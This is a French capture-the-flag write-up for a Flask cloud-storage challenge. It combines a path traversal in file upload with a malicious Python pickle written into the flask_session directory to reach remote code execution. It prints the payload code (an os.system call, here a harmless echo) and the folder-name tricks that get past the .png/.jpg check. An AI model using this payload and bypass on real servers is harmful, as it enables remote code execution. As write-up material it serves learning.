Futur Upload
Enoncé
Cloud storage is back in 2077, better UI and folders management !
Résolution
Avec le code source, on peut voir qu’il y a une path traversal dans l’upload de fichier.
Cependant accès uniquement a /app/user_files/ et /app/flask_session/
Toutes les autres méthodes semblent correctement protégé
Si on arrive a upload un fichier sérialisé avec python pickle dans /app/flask_session/MD5HASH, on peut obtenir la RCE.
Problème 1 : Nous n’avons pas la SESSION_KEY_PREFIX qui permet de créer le hash MD5HASH Problème 2 : Nous sommes obligé d’upload le fichier avec .png ou .jpg
On a bien vérifier que si on upload un fichier avec le hash, les données sérialisé alors il s’execute si on envoie le bon jeton de session, mais nous sommes bloqués par le deux problèmes
import pickle
import base64
import os
# Objet malveillant qui appelle os.system pour exécuter une commande
class RCE:
def __reduce__(self):
return (os.system, ('echo "test" > /app/user_files/df214423-da5a-41d8-b862-507f95d7dce8/test.txt',))
# Création d'un payload pickle malveillant
payload = pickle.dumps({'_permanent': False, 'user_id': 'admin', 'data': RCE()})
# Ajout des 4 premiers bytes à 0 pour signaler que c'est un pickle
payload_with_magic_header = b'\x00\x00\x00\x00' + payload
# Encodage en base64 pour l'injecter dans un cookie ou dans un fichier de session
encoded_payload = base64.b64encode(payload_with_magic_header)
# Affichage du payload encodé en base64
print("Payload encodé en base64 avec 4 bytes 0 :")
print(encoded_payload.decode('utf-8'))
On n’a pas réussi a allez plus loin.
On a demandé à la fin du CTF :
Créer un directory « data:image, » dedans, créer un autre directory « png;base64, » »
ensuite upload un objet pickle nommé
test/../../../../../../app/flask_session/2029240f6d1128be89ddc32729463129
Ce qui donne un upload vers :
data:image/png;base64,test/../../../../../../app/flask_session/2029240f6d1128be89ddc32729463129
Pour path traversal et aller écrire le fichier 2029240f6d1128be89ddc32729463129 qui change jamais de nom pour les app flask_session et est désérialisé a chaque requête
OU :
Créer les dossiers http:, a.fr, a.jpg# et ensuite tu peux upload ce que tu veux où tu veux car mimetype va utiliser filename= « http:/a.fr/a.jpg#/../../chemin/fichier » car le check comprend et accepte les urls
Il nous manquer le data:image et png;base64 qui permettait de bypass le .png Ou le http://a.fr/a.jpg#/../../../
Et ensuite on utilise le 2029240f6d1128be89ddc32729463129 qui est déjà présent plutôt que de tenter de recalculer le hash a cause de la clé session_key_prefix